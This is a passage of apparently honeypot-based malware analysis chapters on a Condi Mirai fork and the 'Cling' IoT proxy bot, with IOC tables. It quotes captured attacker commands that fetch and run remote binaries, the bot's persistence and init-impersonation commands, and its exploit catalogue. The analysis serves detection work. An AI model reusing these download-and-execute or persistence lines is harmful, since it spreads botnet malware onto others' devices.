exploits a TP-Link router flaw. This one has no scanner — not a single symbol from that part is left. They amputated it and feed it from outside, through the open ADB on 5555. It exploits no vulnerability: it walks in through a door that shouldn't be open. And that isn't the only amputation. Mirai carries a killer: a module that hunts down rival processes and closes the device's telnet and SSH so nobody else can get in behind it. Here the names are still there —killer_init, killer_kill— so at a glance it looks present. It isn't: they're 76 and 48 bytes. One does a fork() and leaves the child spinning in a sleep(5) loop; the other sends a signal and that's it. Mirai's logic is nowhere to be found. A function name is not a function, and an unstripped binary hands you the analysis — but it also invites you to trust the label. Scanner gone, killer gone. What's left is a Condi slimmed down to three things: talk to its command server, attack, and replicate over HTTP. It neither hunts for victims nor fights for the machine — it's handed one, and it doesn't mind sharing. And what they put in The public Condi deletes eight shutdown binaries, all eight under /usr/. This one carries sixteen: the same four commands, but across four paths. the 16 paths, in .rodata/sbin/reboot /usr/sbin/reboot /bin/reboot /usr/bin/reboot /sbin/shutdown /usr/sbin/shutdown /bin/shutdown /usr/bin/shutdown /sbin/poweroff /usr/sbin/poweroff /bin/poweroff /usr/bin/poweroff /sbin/halt /usr/sbin/halt /bin/halt /usr/bin/halt It isn't that it's \"more thorough\": it's that it's adapted to the terrain. On the Android boxes and embedded devices it reaches over ADB, /usr often doesn't even exist. Scanner out, new paths in — both point the same way. And it isn't enough for the strings to be there: you have to see what it does with them. They live in main, not in the evicted killer, and the mechanism is the same on ARM and on x86-64 — it copies the sixteen onto the stack and unrolls sixteen calls in a row, one per path. The instruction is unlink. What that means for whoever owns the deviceIt doesn't intercept the shutdown: it deletes the files. All sixteen, off the disk. The joke cuts both ways, and it's a nasty one: if the device loses power, Condi goes with it —it doesn't survive a reboot, like all Mirai— but its owner no longer has anything to shut it down cleanly with, and that doesn't fix itself. It needs a reinstall. It doesn't just use your machine: it breaks your off switch. The dumb trick that hides the C2 The config is XOR-encrypted, like all Mirai. The binary's key is four bytes, 0x6d53d2c2, but Mirai XORs each byte with all four, so the effective key is a single one: 0x6d^0x53^0xd2^0xc2 = 0x2e. And 0x2e happens to be the code for a full stop. So when the C2 domain is encrypted its dots turn into zero bytes, and the name ends up broken into pieces that strings reads as junk two, eight and four letters long. Nobody chose that key: it fell out of the four bytes on its own. There's no cunning here — there's luck. Decrypted, the command server is cc.nhancute[.]site, port 47925 (that one isn't in the table: it's baked into the code). And the pretty detail: that domain resolves to the same box in Vietnam that hands out the binaries. The delivery server is the C2. 04Four botches and a third of the network crippled The binary is designed not to depend on that box: every infected bot raises its own HTTP server —on a random high port, lying with a Server: Apache that isn't Apache— downloads the binaries from the seed and serves them to the next one. The boast it carries inside starts, literally, with \"Self Rep\". Flawless design. Execution, less so: The swapped labels. The file the dropper calls sh4 is actually SPARC, and the one it calls spc is Renesas SH. They're the wrong way round. An architecture that isn't on the list. The internal name array has eleven entries, not twelve: spc is missing. And the loop stops early. Of those eleven, the replicating code only walks eight — and not through a slip in one place: the download is written twice, unrolled where the server starts up and in a loop inside main. Both stop at eight. The limit is set in duplicate. Add it up: four of the twelve architectures never replicate from a bot. PowerPC, 68k, x86 and SPARC can only be served from Vietnam. A critter built so that taking down the seed wouldn't hurt… that depends on the seed for a third of its targets. 05How do you date something that isn't anywhere? And now the part that earns the title. This critter isn't uncatalogued because it's stealthy: it's uncatalogued because it had just been born. But proving that has a trick to it, and the trick is knowing which clock measures what. The first thing I did was check the feeds. And they came back silent: GreyNoise had nothing on the delivery box, passive DNS was empty, urlscan zero, Shodan no information. Four silences. The temptation is to call bingo. Two of those silences are worth nothingGreyNoise measures scanning, and that box doesn't scan: it serves files. It would be just as silent whether it was a day old or a year old. (Its neighbour, the one that did attack my trap, does show up flagged as malicious.) And passive DNS is empty because it serves over a raw IP, with no domain — there's nothing to record. That silence is function, not freshness. I'd have loved to bank four clocks; I have two. The good clock is a different one, and it's the one the attacker doesn't control: Certificate Transparency. When his domain got Cloudflare's automatic certificate, a dated entry appeared in a public log he can neither touch nor delete. Cross it with the domain's RDAP record and the story is very short indeed: three clocks he doesn't own, the same morning29 Aug 07:24:11 UTC domain registered # RDAP · GMO/Onamae 29 Aug 07:54:11 UTC appears in the CT log # crt.sh 29 Aug 09:50:30 UTC the 12 binaries go up # Last-Modified + ETag 30 Aug ~midday it hits me # less than 30 h later The certificate claims to be older than its own domainIf you look at that certificate's not_before field it says 06:52 — thirty-two minutes before the domain existed. It isn't an anomaly or a clue: certificate authorities backdate that field to absorb clock skew between servers. The honest \"this appeared in public\" time is the log entry's, 07:54. A good clock read wrong is a bad clock. You'll have to forgive me one thingThis time I'm not giving the exact time of the attack. With something this newly born, whoever launched it has his own records of \"who I hit at what second\", and crossing those with a \"it attacked me at such an hour\" would hand him my trap on a plate. The times above are his infrastructure's, which are public; mine is rounded. The story loses nothing. And the fact that clinches it MalwareBazaar has been storing malware samples since 2020. When I searched the condi tag, there was one single sample, uploaded in May 2023 by somebody else: the one from the public source when it leaked. One, in three years and three months. The twelve hashes from this campaign weren't there. Not there, and not anywhere else I looked. It wasn't hiding well: it was that nobody had had time to file it. Now there are thirteen. Twelve of them I uploaded. And I could date this because I kept the junkWhen I pulled the twelve binaries down I didn't just keep the files: I also kept the HTTP headers the server sent back, in a directory of their own. It looked like paperwork. Without them, that \"under thirty hours\" up there would be an impression of mine. With them it's three clocks that don't talk to each other and say the same thing: the Last-Modified — identical to the second across all twelve files —, the date carried inside the ETag, and the size also carried inside the ETag, which matches the Content-Length and the file I have on disk. Three different ways of asking the same question, three times the same answer. Measured age: 29.87 hours. It's a cheap habit — keeping what the server tells you in passing — and it turns a hunch into a number. 06Indicators (IOCs) The twelve hashes are in the catalogue with their link to MalwareBazaar. The rest, for anyone who wants to recognise it or block it: TypeValue C2 and delivery servercc.nhancute[.]site : 47925 → 160.250.181.124 (VPSRE, Vietnam, AS150895) Attacking IP (ADB)160.250.181.123 — the neighbour; sweeps first, loads after Domain registration2026-08-29 07:24:11 UTC · GMO/Onamae · Cloudflare NS · no DNSSEC Delivery paths/k7m2q9xa/ + 12 six-character names · droppers /b4k9zp.sh, /a7m2qx.sh, /c8r3nv.sh Campaign markertop1hbt (top1hbt.arm … top1hbt.x86_64, what each bot re-serves) Self-identification/var/Condi · condi2 %s:%d · webserv Config keytable_key = 0x6d53d2c2 → effective 1-byte XOR 0x2e Bot↔C2 protocolheader 66 99 66 + length (2 B) + payload (ping, condi2 webserv:\u0026lt;port\u0026gt;) Bot httpd fingerprintServer: Apache (false) · client User-Agent: Update v1.0 · random high port Anti-rebootunlinks 16 paths: {/sbin, /usr/sbin, /bin, /usr/bin} × {reboot, shutdown, poweroff, halt} Amputated modulesno scanner_* · killer_init (76 B) and killer_kill (48 B) gutted — the symbols are there, Mirai's logic isn't Certificatenhancute.site + *.nhancute.site · Google Trust Services WE1 · CT 2026-08-29 07:54:11 UTC VectorOpen ADB (tcp/5555). No CVE: it's misconfiguration, not a vulnerability Status as of 11 September 2026 · it lasted thirteen dayscc.nhancute.site no longer resolves, neither it nor its root domain. It was registered on 29 August and was dead before 11 September: thirteen days of life. And the division of roles I could only guess at above — one sweeps, the other loads — now has numbers on it: · 160.250.181.123, the one that attacks: 491 reports, risk score 100 %. · 160.250.181.124, the one holding the goods and acting as command server: 3 reports, 22 %. The same tactic as KHserver, in another family and with the same lopsided numbers: the noisy one burns, the one that matters is protected. And that \"thirteen days\" deserves a comparison, because it's the shortest this bait has produced. Condi died in thirteen days. RedTail was still coming down to my bait the day I write this, nearly three weeks after I devoted a chapter to it — the same five binaries, without recompiling. Two families, the same business underneath, and a difference in timescales that looks nothing alike. And if you got here from a MalwareBazaar entry: this is what that entry can't give you — how it fell. To be continued — the trap is still on. And this one, for once, didn't stay in my lab: it's where the people who build detections can use it. It made me happy, honestly. 🍯","date":"2026-08","fam":"Mirai","n":17,"spec":"Condi (Mirai fork)","sum":"A quiet Sunday, my new-binary alarm went off after days of silence. The first thought was the best one there is: something fresh. What followed was a rollercoaster — an old acquaintance, a false positive that nearly fooled me, and finally a critter that wasn't in any public repository, caught less than thirty hours after it was born.","t":"Fresh out of the oven","tags":["Mirai","Condi","botnet","DDoS","ADB","IoT","OSINT","honeypot"],"tipo":"Botnet (DDoS)","url":"/en/chapter-17/"},{"body":"When a new one drops, the first clues point to the usual: I take its hash, look it up on VirusTotal, and half a dozen engines call it «Mirai». And it's no debut: this family —I named it Cling, and the teardown will show why (the bug literally signs its work)— has been roaming VirusTotal for weeks. The reflex is to file it away: another server-flooding bot. But before filing it, I looked at how it had got in. And that's where things stopped adding up. 01The capture It didn't come in guessing passwords. What came in was a device that was already infected: an IP, 85.11.167.132, connected to the honeypot's Telnet and, instead of exploring, pasted a string of commands all at once — the recipe that node of the delivery network fires at the next victim. This time, our honeypot was «the next one». The commands, exactly as they arrived (grouped, because they came in a torrent): what it pasted into the telnet# 1) try a loader script, with wget and with busybox wget in case one is missing cd /tmp; rm -rf wget.sh wget hxxp://118.145.196[.]225:800/wget.sh busybox wget hxxp://118.145.196[.]225:800/wget.sh sh wget.sh telnet # 2) and then brute force: one binary per architecture, each with a DIFFERENT NAME cd; rm -rf 5x2b96g7; wget …:800/yy7atflk/5x2b96g7; chmod 777 5x2b96g7; ./5x2b96g7 telnet cd; rm -rf obn2b6lh; wget …:800/yy7atflk/obn2b6lh; chmod 777 obn2b6lh; ./obn2b6lh telnet # … and so on with: v6kyo484 · kml6vqk1 · sevpqwpf · gr84is20 · 1t960jbq # c2uytx93 · 6bpx8p17 · yee32jdx · 2sdqu9iu (eleven in total) It's the same shotgun strategy we already saw with Mirai and KHserver: fire all eleven and let whichever one matches the victim's CPU start up; the other ten fail silently. It tries wget and busybox wget —belt and braces, because a router might only have one— and launches each binary with an argument: telnet. That telnet at the end isn't the protocolit's the vector tag: whoever does the infecting passes the bug, as an argument, how it got in, and the bot will report that back to its base. Here it was telnet. But watch out for a false lead I clear up in the next chapter: telnet is not a door this bug knows how to open. The tag records how it arrived, not what it can do. «It came in over telnet» is not «it brute-forces passwords»The fact that it hits our telnet doesn't mean the bug can guess passwords — when I open it up, we'll see it carries not one credential, and no Telnet scanner. Whoever forces the telnet and drops the recipe is another piece: a separate telnet loader, part of the delivery machinery, running ahead and pushing the bug onto the next device. The IP that attacked us is a node in that network, not anybody's lair. (Cling does spread on its own, but through other doors — we'll see them in the teardown.) 02Eleven names, and not one repeats Look at the binary names: 5x2b96g7, obn2b6lh, yee32jdx… eight random characters, one per architecture. They're not descriptive —they don't say arm or mips— and they change with every delivery: when the same server served this recipe a few hours later, the names were different ones. They all hang off a single place, the delivery server: the deliveryhxxp://118.145.196[.]225:800/wget.sh # the loader script hxxp://118.145.196[.]225:800/yy7atflk/\u0026lt;name\u0026gt; # one binary per architecture And here's the first design detail: blocking by filename is completely useless. It's the same idea as the random gibberish in chapter 1 and the rotating names in chapter 3, but taken up to the server: every victim gets new names, so two infected devices never share the same trace on disk, and no rule looking for «a file called X» ever hits. Fine, I thought — the name doesn't matter, that's what the hash is for, and that one's stable. I downloaded the three binaries my honeypot managed to save and set about filing their hashes. 03Two files, the same program Of the three I captured, two weigh exactly the same —53,956 bytes, the two that file calls «Intel 80386»— and yet they have different hashes. Two files of the same size with different signatures smell like two versions, or a recompile to earn a fresh hash. I went to see what had changed, byte by byte. diff of the two i386 · byte by bytesize 53,956 B = 53,956 B # identical bytes that differ 11,282 # 21% of the file — and nearly all of it code Eleven thousand bytes. Looks like a new variant. But a compiler is deterministic: the same source with the same options produces the same bytes, every time. If eleven thousand change, something changed — and when I looked at what, the answer wasn't «they recompiled it for the sake of it». the difference that explains it6bpx8p17: cmovbe ecx, eax # a CMOV instruction c2uytx93: cmp eax, 0x1d + jbe # the same thing, done WITHOUT CMOV That instruction, cmov, only exists from the i686 onwards (Pentium Pro, 1995); the i586 doesn't have it, and the compiler swaps it for a compare-and-jump. So they're not two recompiles of the same target: they're the i586 and i686 builds of the same program. The eleven thousand bytes change not because anyone touched the code, but because they're compiled for two different CPU generations. And that clears up a loose end from the capture: why «one binary per architecture» left me with two «i386». They're not two copies of the same thing: they're 32-bit x86 for i586 and for i686, two of the eleven the loader hands out. file calls both of them «80386»; the instruction set gives them away. So this pair proves no hash rotation at all — it's a mirage, and a lesson in not over-reading a diff. So where does «no hash is any use» come from, then?From the scale, not from this pair. The wave —the next section— hands out dozens of distinct binaries, with distinct hashes, under names that rotate with every delivery. That's where signature blocking runs out of anything to hold on to. Which is why the hashes I file at the end of this chapter are worth little: what catches this bug isn't its signature, it's its behaviour. 04A wave, not a stray bug One note before opening it up, because it changes the scale of what we're looking at: this isn't a lost binary that happened to wander past. When I searched for the family on VirusTotal there wasn't one sample, or two — there were more than fifty, dated between 21 August and early September, compiled for half a dozen architectures (armv4l, v5, v6, v7, i586, i686, aarch64…). A big wave, and still rolling. And this is where the real signature rotation lives —not in the two from before, but in the scale—: fifty-odd binaries with different hashes in two weeks. The hash comes from the content, so this isn't the same file renamed: they're new builds, served under names that change every few hours. No signature list keeps up with that. Our honeypot didn't catch «a bug»: it caught one frame of a campaign that had been running for two weeks. And all those samples, the fifty-something of them, share something that will be the key to the third piece — but for that, you first have to open one. 05The specimen The three binaries the honeypot managed to save (of the eleven that were fired, only those three completed a distinct download). Static, stripped ELFs. SPECIMEN 006 · ELF ×3 Cling · IoT bot VirusTotal calls it Mirai — but we'll see ◈ LIVE · DO NOT RUN Typestatic ELF · stripped · aarch64 · i686 · i586 Size53,956 B (i386) · 62,384 B (aarch64) Deliverymulti-architecture shotgun over Telnet · rotating names Functionnot what it looks like — torn apart in Ch. 19 Vector tagtelnet (the argument it's launched with) SHA-2561631e63e… (aarch64) · 1b831a93… (i686) · 52bff4bf… (i586) 06Where does all this come from? Passive OSINT — third-party databases, without touching either machine. There are two IPs in this capture, and they do different jobs: IPRoleWho it is (OSINT) 85.11.167.132the one that attacked (infected node)only 22/tcp open · flagged malicious · AS197170 TechTies (NL), with SOFCOMPANY (BG) as maintainer — range registered in June 2026, eleven weeks before the attack 118.145.196.225:800delivery serverBeijing Volcano Engine (ByteDance, CN) · 10 engines call it malicious A detail that makes sense in the next chapterThe delivery server 118.145.196.225 is not written inside the binary. It doesn't carry it: its base tells it on the fly. That's why the wget.sh and the box handing out files are interchangeable without recompiling — and why, when I open the bug, I'll find no delivery address in there. It's one more piece of the same design: nothing fixed, nothing to file. 07Indicators (IOCs) From the infection. The ones from inside the bug are in the next chapter. TypeValue Attacking IP (infected node)85.11.167.132 Delivery serverhxxp://118.145.196[.]225:800/ (wget.sh · /yy7atflk/\u0026lt;name\u0026gt;) Loader patternmulti-architecture shotgun over Telnet · random 8-char rotating names · arg telnet Family on VirusTotal\u0026gt;50 trojan.mirai samples carrying the string .cling · 2026-08-21 → 09-01 · armv4l/5l/6l/7l · i586 · i686 · aarch64 SHA-256 (they expire: it recompiles)1631e63ee373601c1f42f2674f996fc6c14dc6aebe45ca5d2395bf347a0e3661 (aarch64) 1b831a9366cd53a4127f885dab247bc2f0b3f661a7d9d9510bbd0a9f150bfb27 (i686) 52bff4bf58eb6031c16763b12b696e849a38f36e69c55402a444819cb9c1bc0e (i586) To be continued — and here comes the good part. I downloaded the three binaries, opened them expecting the usual DDoS arsenal… and there wasn't a single attack function. What there was instead was something I hadn't seen come through here before. In Chapter 19 I tear it apart. 🍯","date":"2026-09","fam":"Cling","n":18,"spec":"Cling (IoT proxy)","sum":"An already-infected IP connected to the honeypot's telnet and pasted a recipe all at once: eleven binaries, one per architecture, each with a made-up name that will never come round again. Two weighed exactly the same and looked like variants — they turned out to be the i586 and i686 builds of the same program. And behind them wasn't a stray bug: fifty-odd distinct binaries in two weeks. The whole delivery is built so that no blocklist, by name or by signature, catches anything.","t":"Nothing to file","tags":["Ngioweb","NSOCKS","proxy","IoT","botnet","honeypot"],"tipo":"IoT residential proxy (Ngioweb / NSOCKS)","url":"/en/chapter-18/"},{"body":"In the previous chapter I caught the infection: a multi-architecture shotgun, rotating names, a wave of binaries whose hashes change every few hours. VirusTotal calls it «Mirai», everything pointed to another DDoS bot — so I opened it in Ghidra looking for its attack arsenal. There isn't one. And that absence is the whole chapter. 01It can't attack A bot of the Mirai school carries a table of attack methods —attack_udp, attack_tcp, floods of every kind— and a C2 protocol with opcodes to fire them. I went looking and found nothing: no attack method table, not a single flood of any kind, not one credential or Telnet scanner, not one attack opcode in its C2. Not one attack function. Not obfuscated, not hidden: absent. And it's not that I didn't look properly: in the entire binary there is a single raw socket —the thing you need to craft a packet by hand— and it doesn't belong to any flood, it belongs to the scanner: the one that fires its probes with the source port nailed to 9999. Not one more. A DDoS bot with no way to do harm is a contradiction in terms. So what is it? Its own command loop says: it reads the order byte and jumps to one of seven branches —not one more— and none of them is an attack. ghidra · the command loop dispatches the order (trimmed)switch (order - 1) { // 7 branches = 4 actions + their 3 off switches case 0: FUN_080491e7(); // 1 · shell (system with whatever it downloads) case 1: … FUN_0804a77c(); // 2 · scanner + loader case 2: … // 3 · stops the scanner (closes its sockets, no function of its own) case 3: … FUN_08049b45(); // 4 · reverse TCP relay case 4: … // 5 · stops the relay case 5: … FUN_08049469(); // 6 · SOCKS tunnel case 6: … // 7 · stops the tunnel } // 4 functions, not one an attack — no flood, no eighth branch The four orders that actually do something (the other three only switch them off): A remote shell. One order opens a connection, reads whatever it's sent and passes it to system(). Command execution to order. A scanner with a loader. It hunts new victims —through its exploit catalogue, not over telnet— and injects the bug into them: its own way of spreading (in depth in §06). A reverse TCP relay. It listens on a port and forwards every connection to another address: it acts as a pipe. A multiplexed SOCKS-style tunnel. Its own framing protocol, up to 254 channels at once, TCP and UDP. Of the four, the scanner is just how it gets more nodes; the other three —shell, relay and tunnel— are the business: not taking services down, but giving access and giving an exit. It's a proxy node — a pipe through which someone else's traffic reaches the internet wearing the face of an infected household gadget. The repositories label it Ngioweb —the engine behind the residential proxy service NSOCKS— though that label comes with caveats we'll get to in the thread. None of which is known to the engines calling it «DDoS». What this chapter takes apartThe assumption that an IoT bug spreading through the usual exploits, which AVs call «Mirai», is by default a DDoS botnet. This one isn't, and the code proves it: zero attack functions, and instead a SOCKS tunnel with 254 channels. All the IoT fauna in this blog —Gafgyt, Mirai, Condi— comes to knock things down. This one comes to slip through. Same devices, same exploits, different business. 02The seven orders The C2's jump table has seven entries. I recovered them one by one: OrderWhat it does 1Remote shell: downloads a command from an IP:port and passes it to system() 2Starts the scanner/spreader. The IP:port is the loader it will inject into new victims 3Stops the scanner 4Reverse TCP relay to an IP:port (only if the machine has a public IP) 5Stops the relay 6SOCKS-style tunnel: 254 channels, open/data/close, TCP and UDP 7Stops the tunnel Order 2 explains a loose end from the previous chapter: the delivery server isn't in the binary because it arrives here, in an order. The operator tells the bot which IP to serve binaries from to the next victims. Loader and server are interchangeable without recompiling — nothing fixed, once again. And there's nothing to decryptWith XorDDoS (ch. 2), Mirai (4) and Sysorbit (8) the first step was breaking an encryption scheme. Here there isn't one: every string is in the clear, the entropy of the data is that of ordinary text, there isn't a single encrypted block. Cling's «config» is dynamic —the tag arrives in argv[1], everything else in orders— so there's no config to extract. It's a design that frustrates anyone who opens the binary looking for the secret: it isn't carrying one. 03The C2 that talks over the phone So where do those orders come from? Here's the strangest thing I've seen. On startup, the bot opens thirteen UDP sockets and speaks STUN to thirteen different servers. STUN is the protocol video-call apps use to work out their own public address when they're behind a router. And Cling speaks it for real: it sends a Binding Request with the genuine magic cookie (0x2112A442), and pulls its public port out of the reply (the XOR-MAPPED-ADDRESS attribute, un-XORed with 0x2112). Thirteen servers, thirteen public ports learned. With that, it emits its registration beacon to all thirteen, every 5 seconds. The tag goes first and the 13 ports after it, so the size is the length of the tag + 26 (13 × 2 bytes): with «telnet», 6 + 26 = 32 bytes. the registration beacon · tag telnet → 32 B74 65 6c 6e 65 74 94d7 ccb0 ad10 899a d13a b090 … └─── \"telnet\" ────┘ └──── 13 public ports (2 B each) ──────┘ the tag one for each of the 13 sockets It's its calling card: it tells whoever is listening who it is (the tag) and where to reach it (the thirteen ports). And here's the beauty of the disguise: to a network monitor, a gadget sending UDP to thirteen STUN servers looks like a phone making video calls. Nobody raises an eyebrow. 04The door with no lock The orders come back through those same thirteen sockets —the STUN ones— as 20-byte packets. And their structure has two details that run from elegant to reckless. a C2 order · shaped like a STUN header+0 8 bytes STUN header (type, length, magic cookie) \u0026lt;- the bot ignores them +8 12 bytes the transaction ID slot \u0026lt;- here rides the order, in disguise ──────────── 20 B = a complete STUN header, no attributes The twenty bytes are, exactly, a complete STUN header with no attributes. The first ones —type, length, cookie— the bot ignores. The rest is the slot where STUN puts its transaction ID, an identifier a real client generates at random… except that here, in that slot, the order rides. The bot only reads a handful of those bytes; the rest it doesn't care about. That's why an order walks past a firewall as STUN: it has the shape of a STUN header, with its cookie in the right place. Now, careful with what this doesn't prove. A 20-byte order is enough for the bot: a few bytes of command and the rest ignored. A real Binding Response looks nothing like it —it carries the client's address in the XOR-MAPPED-ADDRESS attribute, so it weighs more, and it echoes the transaction ID of the request it answers—. It would be tempting to conclude that orders can therefore be caught on the fly among STUN traffic. But I captured no real order —nobody ever commanded my bot— so I'm inferring this from the decoder, I didn't see it on the wire. And there's a catch: since the bot ignores almost the whole packet, the operator can dress the order up with a fake XOR-MAPPED-ADDRESS and an ID that mimics a response, and it would obey just the same. The network signature you can trust, therefore, is in what the bot emits —its beacons, which we'll watch leave in the cage—, not in what it receives, which can be disguised as anything. inferred Elegant. What follows, not so much: It doesn't check who's giving the ordersThe call that receives the order is recvfrom(fd, buf, 20, 0, NULL, NULL) — those two NULLs at the end mean «don't tell me where it came from». There's no authentication, no signature, no encryption, not even a token. Anyone who knows the bot's public IP and one of its thirteen ports can send it an order — including number 1, which runs commands. The operator gave his bot an extremely powerful back door… and left the key in the lock for everybody. 05Ask it who it is and it answers «init» A proxy node has a goal a DDoS bot doesn't share: not being found, so it can last years inside someone's router. The first thing Cling does on startup is steal the identity of process number 1. impersonating initcp /proc/1/stat /proc/1/status /proc/1/cmdline /tmp/ mount --bind /tmp /proc/\u0026lt;its_own_pid\u0026gt; On Linux, to find out what a process is you look at /proc/\u0026lt;pid\u0026gt;/status. Cling mounts over it the data it copied from init. You ask who it is, and the kernel answers «init» — the most untouchable process on the system. And it finishes the job: process name blanked (prctl(PR_SET_NAME, \"\")), its command line wiped to spaces, the hardware watchdog disabled (so the device doesn't reboot and take it down with it) and, if it's root, -1000 in oom_score_adj: «kill whoever you like except me». 06The scanner with manners, and the killer with none To get more nodes, Cling scans the internet — like everyone else. But with a detail I hadn't seen before: before scanning, it times itself. It sends a thousand packets to 8.8.8.8, measures how long they take, and works out how fast it can scan without choking the victim's connection. Mirai goes flat out because it doesn't care about lasting; this one throttles itself so the owner doesn't notice their internet has slowed down. A bug that wants to stay can't afford to sing. And yet it sings in one detail: all its probes go out with the source port fixed at 9999 —a normal scan leaves it random— so a burst of SYNs all leaving from 9999 towards router ports is, all by itself, its signature. When it finds a target, it fires whichever exploit fits, from a catalogue of eight doors —the usual router and video-recorder repertoire—: PortTargetTag 7547TR-064 / CWMP (the 2016 Deutsche Telekom case). Signature User-Agent: clingwasheretr064.selfrep 52869Realtek SDK UPnP (CVE-2014-8361)selfrep.realtek 60001JAWS (MVPower recorders)selfrep.jaws 85 · 80 · 8080TBK DVR · Linksys «TheMoon» · B-Link/Tenda · router CGIselfrep.* 9034/udpcommand injection in the Realtek Jungle SDK (CVE-2021-35394)realtek.selfrep Almost every door has its own —seven tags for eight requests: jaws signs two—: tr064.selfrep, selfrep.realtek… and it's the one the bot reports as argv[1] when it spreads that way. (The two Realtek ones aren't a typo of mine: selfrep.realtek is the 2014 UPnP, realtek.selfrep the 2021 Jungle SDK — the bug itself writes them with the words swapped.) But notice: telnet isn't on the list, and Cling neither brute-forces passwords nor scans port 23. So how did it reach our honeypot with the telnet tag (ch. 18)? Because whoever put it there wasn't Cling: it was a separate telnet loader —another piece of the delivery machinery— that forced port 23, dropped the recipe and launched the binary stamping telnet on it. argv[1] records who brought it, even if the bug can't open that door itself. It's the ecosystem's division of labour: a loader spreads, the bot is the cargo. An amusing detail of its own spreading: when Cling does get in —through the Realtek UPnP— it leaves a mapping in the router's NAT table tagged syncthing, disguised as a legitimate program. The ugly note — and what it gives awayIt isn't all manners. Cling carries a brute-force killer: a loop that every second kills every process that isn't busybox and doesn't live in /tmp, no distinctions — on a real device it can take out the gadget's own legitimate services. And there's more here than ugliness: it's a contradiction. A proxy that wants to last years in someone's home shouldn't be killing blindly every second. The killer, the self-throttling scanner, the catalogue of eight exploits… all of that comes straight out of the Mirai/DDoS world. Cling wasn't designed from scratch: it was assembled on the skeleton of an attack botnet with the weapons stripped out and a tunnel bolted on. That inheritance leaves traces — and the thread pulls on them. 07It persists — because it's a proxy The acid test for the thesis: Mirai deliberately doesn't persist (it lives in memory; a reboot wipes it). Cling does the opposite — it copies itself to disk and nails itself into startup through three mechanisms, to cover different firmwares: persistence · the .cling mechanismcp \u0026lt;self\u0026gt; /root/.cling ; cp \u0026lt;self\u0026gt; /usr/local/bin/.cling echo ::once:/root/.cling \u0026gt;\u0026gt; /etc/inittab # BusyBox init echo /root/.cling \u0026gt;\u0026gt; /etc/init.d/rcS # SysV echo /root/.cling \u0026gt;\u0026gt; /etc/rc.d/rc.boot # rc.boot It survives a reboot. In a DDoS bot that would be a strange luxury; in a proxy node it's the requirement: what you're asking of it is precisely that it still be there tomorrow. Persistence isn't decoration — it's the confirmation of what it's for. 08I switched it on (in a cage) Everything above comes from reading the binary. But the beacon above —that tag followed by the thirteen ports, every 5 seconds— I wanted to watch actually leave. So I did something that never happens on the honeypot: I ran it. Where the line is, and why I'm moving itNothing gets run on the honeypot — it's a machine with a public IP and starting a worm there could infect third parties. I did it on another machine: isolated, with no real way out to the network, with the bug talking to a fake STUN responder I built for it. Not one packet left for the world. Watching in a cage isn't letting loose; the difference is the cage. (It's the same line I moved in chapters 13 and 15.) And out came exactly what the code said: thirteen Binding Requests, thirteen ports learned, and from there the beacon to all thirteen servers, every 5.0 seconds, sustained — 741 beacons: fifty-seven rounds of thirteen, over almost five minutes. Then it went still, listening for orders on those same thirteen sockets. In the cage nobody sends any, so there it stays — beating its heart into the void. Why my beacon measures 34 and not 32In the cage I gave it a lab tag, zlab0903, eight letters, so I wouldn't confuse its heartbeat with real traffic. Eight of tag + the usual twenty-six = 34 bytes. The formula from section 3 doesn't fail: change the tag, the size changes, exactly. With our infection's tag, telnet, it would be 32. strace · the STUN greeting to all 13 (trimmed)sendto(0, \"\\x00\\x01\\x00\\x00\\x21\\x12\\xa4\\x42\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\", 20, {74.125.250.129:19302}) # Google └ cookie ┘└──── transaction ID = ALL ZEROS ─────┘ sendto(1, \"\\x00\\x01\\x00\\x00\\x21\\x12\\xa4\\x42\\x00…\", 20, {145.249.115.184:3478}) # 145, the suspect — same greeting … 13 identical sendto calls, one per socket That 21 12 a4 42 is the STUN magic cookie: it speaks the real protocol. And look at the second one — to the future suspect, 145.249.115.184, it sends the same greeting as to Google. Indistinguishable. But there's one slip the disguise doesn't cover: the twelve bytes following the cookie —the transaction ID, which a video-call client generates at random on every request— go out as zeros. Always. Cling doesn't bother randomising them. And that is a lovely network signature: a Binding Request with a blank transaction ID is sent by no phone on earth. It's sent by this. That heartbeat also answers a question the code left open: how does the reply get back to the bot if it's behind a router? Every beacon punches a hole in the victim's NAT —the usual NAT traversal mechanism— and keeps it open by beating every 5 seconds. It isn't a shout into the void. But what really changes things is in the last batch of the strace: where the bug talks, and where it doesn't. strace · where the bug talks — EVERY destination in almost 5 minthe 13 STUN IPs ...... all 741 beacons (one every 5 s; 145.249.115.184 among them) 0.0.0.0 .............. 13 (socket bind — not a real destination) 127.0.0.1:33957 ...... 1 (the single-instance lock) any other IP ......... 0 ← not a single packet to anything else There is no separate C2 anywhere: the bot talks to nobody but those thirteen addresses — not one packet goes to any other. (What that implies about the operator is in the thread.) 09The question that's left The bot announces its thirteen ports —its calling card, so it can be reached— only to those thirteen servers. Nobody else: the strace shows it, «any other IP: 0». So whoever wants to send it an order must have received that card — must be one of the thirteen. And this doesn't depend on how the victim's router is configured: one of those thirteen STUN servers belongs to the operator. There's no other plausible route for the command to reach it — bar a remote loophole I chase in the thread. And that's the problem, and the hook for the next piece. I looked at all thirteen, one by one, on Shodan: they are public STUN servers belonging to real VoIP providers —IONOS, Google, LeaseWeb, a British ISP, Russia's SIPNET…—. Eleven of the thirteen were answering STUN when I wrote this, in early September. At first glance, none of them is «the operator's mailbox»: they all look like unwitting victims of a brilliant disguise. But we already know better: the bot announces its ports to those thirteen only, so one of them has to be the mailbox. Which one? That question —separating the twelve innocent servers from the one that's a mailbox hidden in plain sight— isn't answered by reading the binary. It's answered by pulling on the thread. And that's what I do next, in Pulling the thread. 10Indicators (IOCs) Since the operator rotates the binaries every few hours (ch. 18), the hashes are worth little. What catches Cling is its behaviour: TypeValue Network signature seenan IoT device speaking STUN to 13 servers almost simultaneously (UDP to :3478/:19302) with the transaction ID all zeros (a real client randomises it) · beacon of tag + 26 B every 5 s to all thirteen Telltale stringclingwashere as User-Agent towards 7547 Scanner signatureoutbound SYNs with source port fixed at 9999 to 80/8080/85/60001/52869/7547 Persistence/root/.cling · /usr/local/bin/.cling · .cling in inittab/rcS/rc.boot init impersonationa /proc/\u0026lt;pid\u0026gt; that is a bind mount of /tmp (identical to /proc/1) Local lock127.0.0.1:33957 listening C2 protocol inferreda 20 B UDP order with a STUN cookie; the bot reads a handful of bytes from the transaction ID slot and ignores the rest, with no authentication. Inferred from the decoder — we captured no order; and since it ignores the remaining bytes, the order can be disguised: it is not usable as a reliable network signature Thirteen IPs that are NOT indicatorsThe thirteen STUN addresses are public servers belonging to real 